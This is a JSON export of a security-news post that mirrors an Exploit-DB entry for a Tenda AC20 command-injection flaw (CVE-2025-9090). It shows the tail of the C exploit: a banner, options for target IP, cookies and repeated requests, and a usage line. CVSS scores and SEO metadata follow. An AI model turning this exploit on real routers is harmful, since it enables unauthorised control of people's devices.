\\\\n\\”\\r\\n\\t\\t\\”\\t\u2592\u2593\u2593\u2584 \u2584\u2588\u2588\u2592\u2592\u2588\u2588 \u2588\u2591\u2591\u2592\u2593\u2588 \u2584 \\\\n\\”\\r\\n\\t\\t\\”\\t\u2592 \u2593\u2588\u2588\u2588\u2580 \u2591 \u2592\u2580\u2588\u2591 \u2591\u2592\u2588\u2588\u2588\u2588\u2592 \\\\e[1;32m2025-9090\\\\n\\”\\r\\n\\t\\t\\”\\t\u2591 \u2591\u2592 \u2592 \u2591 \u2591 \u2590\u2591 \u2591\u2591 \u2592\u2591 \u2591 \\\\n\\”\\r\\n\\t\\t\\”\\t \u2591 \u2592 \u2591 \u2591\u2591 \u2591 \u2591 \u2591 \\\\n\\”\\r\\n\\t\\t\\”\\t\u2591 \u2591\u2591 \u2591 \\\\n\\”\\r\\n\\t\\t\\”\\t\u2591 \u2591 \u2591 \u2591 \u2591 \\\\n\\”\\r\\n\\t\\t\\”\\t\u2591 \u2591 \\\\n\\” \\r\\n\\t\\t\\t\\”\\\\t \\\\e[1;31m [ Byte Reaper ] \\\\e[0m\\\\n\\”\\r\\n\\t);\\r\\n\\tprintf(\\”\\\\e[0;31m——————————————————————————————————-\\\\e[0m\\\\n\\”); \\r\\n struct argparse_option options[] =\\r\\n {\\r\\n OPT_HELP(),\\r\\n OPT_STRING(‘i’,\\r\\n \\”ip\\”,\\r\\n \\u0026ipT,\\r\\n \\”Enter Target IP\\”),\\r\\n OPT_STRING(‘c’,\\r\\n \\”cookies\\”,\\r\\n \\u0026cookies,\\r\\n \\”Enter File cookies\\”),\\r\\n OPT_BOOLEAN(‘v’,\\r\\n \\”verbose\\”,\\r\\n \\u0026verbose,\\r\\n \\”Verbose Mode\\”),\\r\\n OPT_INTEGER(‘f’, \\r\\n \\t\\”loop\\”, \\r\\n \\t\\u0026loopF, \\r\\n \\t\\”Number request (-f 4 = 4 request)\\”),\\r\\n OPT_END(),\\r\\n };\\r\\n struct argparse argparse;\\r\\n argparse_init(\\u0026argparse,\\r\\n options,\\r\\n NULL,\\r\\n 0);\\r\\n\\r\\n argparse_parse(\\u0026argparse,\\r\\n argc,\\r\\n argv);\\r\\n if (ipT == NULL)\\r\\n {\\r\\n printf(\\”\\\\e[1;31m[-] Please Enter target Ip !\\\\e[0m\\\\n\\”);\\r\\n printf(\\”\\\\e[1;31m[-] Example : .\/CVE-2025-9090 -i \\u003cIP\\u003e \\\\e[0m\\\\n\\”);\\r\\n exit64bit();\\r\\n }\\r\\n if (cookies != NULL)\\r\\n {\\r\\n fileCookies = 1;\\r\\n }\\r\\n if (verbose)\\r\\n {\\r\\n verbose = 1;\\r\\n }\\r\\n if (loopF != 0)\\r\\n {\\r\\n\\r\\n \\tprintf(\\”\\\\e[0;34m[+] Number Loop Request : %d\\\\e[0m\\\\n\\”, loopF);\\r\\n \\tfor (int n = 0; n \\u003c= loopF; n++)\\r\\n \\t{\\r\\n \\t\\tprintf(\\”\\\\e[1;35m[+] Another request: =============================================\\\\e[0m\\\\n\\”);\\r\\n \\t\\tendPoint(ipT);\\r\\n \\t}\\r\\n }\\r\\n endPoint(ipT);\\r\\n return 0;\\r\\n}”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52418″,”cvss”:{“score”:6.5,”severity”:”MEDIUM”,”vector”:”AV:N\/AC:L\/Au:S\/C:P\/I:P\/A:P”,”version”:”2.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:L\/I:L\/A:L\/E:P\/RC:R”,”baseScore”:6.3,”baseSeverity”:”MEDIUM”,”attackVector”:”NETWORK”,”attackComplexity”:”LOW”,”privilegesRequired”:”LOW”,”userInteraction”:”NONE”,”scope”:”UNCHANGED”,”confidentialityImpact”:”LOW”,”integrityImpact”:”LOW”,”availabilityImpact”:”LOW”}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52418″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"

{“lastseen”:”2025-08-18T18:05:35″,”description”:”\/ * Exploit Title : Tenda AC20 16.03.08.12 – Command Injection * Author : Byte Reaper * CVE …”,”published”:”2025-08-18T00:00:00″,”modified”:”2025-08-18T00:00:00″,”type”:”exploitdb”,”title”:”Tenda AC20 16.03.08.12 – Command Injection”,”source”:””,”references”:””,”id”:”EDB-ID:52418″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-9090″],”sourceData”:”\/*\\r\\n *…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,26,12,40,21,13,7,11,5],"class_list":["post-13323","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-65","tag-exploit","tag-exploitdb","tag-medium","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\nTenda AC20 16.03.08.12 - Command Injection_EDB-ID:52418 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=13323\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Tenda AC20 16.03.08.12 - Command Injection_EDB-ID:52418 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{“lastseen”:”2025-08-18T18:05:35″,”description”:”\/ * Exploit Title : Tenda AC20 16.03.08.12 – Command Injection * Author : Byte Reaper * CVE …”,”published”:”2025-08-18T00:00:00″,”modified”:”2025-08-18T00:00:00″,”type”:”exploitdb”,”title”:”Tenda AC20 16.03.08.12 – Command Injection”,”source”:””,”references”:””,”id”:”EDB-ID:52418″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-9090″],”sourceData”:”\/*rn *...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=13323\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-18T13:50:22+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"21 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=13323#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=13323\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Tenda AC20 16.03.08.12 – Command Injection_EDB-ID:52418\",\"datePublished\":\"2025-08-18T13:50:22+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=13323\"},\"wordCount\":4242,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-6.5\",\"exploit\",\"exploitdb\",\"MEDIUM\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=13323#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=13323\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=13323\",\"name\":\"Tenda AC20 16.03.08.12 - Command Injection_EDB-ID:52418 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-08-18T13:50:22+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=13323#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=13323\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=13323#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Tenda AC20 16.03.08.12 – Command Injection_EDB-ID:52418\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Tenda AC20 16.03.08.12 - Command Injection_EDB-ID:52418 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=13323","og_locale":"en_US","og_type":"article","og_title":"Tenda AC20 16.03.08.12 - Command Injection_EDB-ID:52418 - zero redgem","og_description":"{“lastseen”:”2025-08-18T18:05:35″,”description”:”\/ * Exploit Title : Tenda AC20 16.03.08.12 – Command Injection * Author : Byte Reaper * CVE …”,”published”:”2025-08-18T00:00:00″,”modified”:”2025-08-18T00:00:00″,”type”:”exploitdb”,”title”:”Tenda AC20 16.03.08.12 – Command Injection”,”source”:””,”references”:””,”id”:”EDB-ID:52418″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-9090″],”sourceData”:”\/*rn *...","og_url":"https:\/\/zero.redgem.net\/?p=13323","og_site_name":"zero redgem","article_published_time":"2025-08-18T13:50:22+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"21 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=13323#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=13323"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Tenda AC20 16.03.08.12 – Command Injection_EDB-ID:52418","datePublished":"2025-08-18T13:50:22+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=13323"},"wordCount":4242,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-6.5","exploit","exploitdb","MEDIUM","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=13323#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=13323","url":"https:\/\/zero.redgem.net\/?p=13323","name":"Tenda AC20 16.03.08.12 - Command Injection_EDB-ID:52418 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-08-18T13:50:22+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=13323#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=13323"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=13323#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Tenda AC20 16.03.08.12 – Command Injection_EDB-ID:52418"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/13323","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=13323"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/13323\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=13323"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=13323"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=13323"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}